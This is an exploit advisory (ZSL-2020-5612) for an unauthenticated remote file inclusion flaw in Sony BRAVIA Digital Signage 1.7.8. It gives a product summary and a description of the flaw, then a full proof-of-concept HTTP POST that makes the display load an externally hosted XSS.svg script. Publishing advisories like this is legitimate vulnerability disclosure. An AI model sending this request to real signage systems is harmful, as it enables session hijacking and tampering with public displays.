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Sony BRAVIA Digital Signage 1.7.8 - Unauthenticated Remote File Inclusion

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# Exploit Title: Sony BRAVIA Digital Signage 1.7.8 - Unauthenticated Remote File Inclusion
# Date: 20.09.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://pro-bravia.sony.net
# Version: 1.7.8

Sony BRAVIA Digital Signage 1.7.8 Unauthenticated Remote File Inclusion


Vendor: Sony Electronics Inc.
Product web page: https://pro-bravia.sony.net
                  https://pro-bravia.sony.net/resources/software/bravia-signage/
                  https://pro.sony/ue_US/products/display-software
Affected version: <=1.7.8

Summary: Sony's BRAVIA Signage is an application to deliver
video and still images to Pro BRAVIAs and manage the information
via a network. Features include management of displays, power
schedule management, content playlists, scheduled delivery
management, content interrupt, and more. This cost-effective
digital signage management solution is ideal for presenting
attractive, informative visual content in retail spaces and
hotel reception areas, visitor attractions, educational and
corporate environments.

Desc: BRAVIA digital signage is vulnerable to a remote file
inclusion (RFI) vulnerability by including arbitrary client-side
dynamic scripts (JavaScript, VBScript, HTML) when adding content
though the input URL material of type html. This allows hijacking
the current session of the user, execute cross-site scripting code
or changing the look of the page and content modification on current
display.

Tested on: Microsoft Windows Server 2012 R2
           Ubuntu
           NodeJS
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5612
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5612.php


20.09.2020

--


Request:
--------

POST /api/content-creation?type=create&id=174ace2f9371b4 HTTP/1.1
Host: 192.168.1.20:8080
Proxy-Connection: keep-alive
Content-Length: 468
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.1.20:8080
Referer: http://192.168.1.20:8080/test.txt
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: io=RslVZVH6Dc8WsOn5AAAJ

{"material":[{"name":"http://www.zeroscience.mk/pentest/XSS.svg","type":"html"},{"name":"C:\\fakepath\\Blank.jpg","type":"jpeg"},{"name":"","type":"external_input"},{"name":"","type":""}],"layout":{"name":"assets/images/c4e7e66e.icon_layout_pattern_landscape_003.png","area":3,"direction":"landscape","layouts":[{"index":1,"width":960,"height":1080,"x":0,"y":0},{"index":2,"width":960,"height":540,"x":960,"y":0},{"index":3,"width":960,"height":540,"x":960,"y":540}]}}
            
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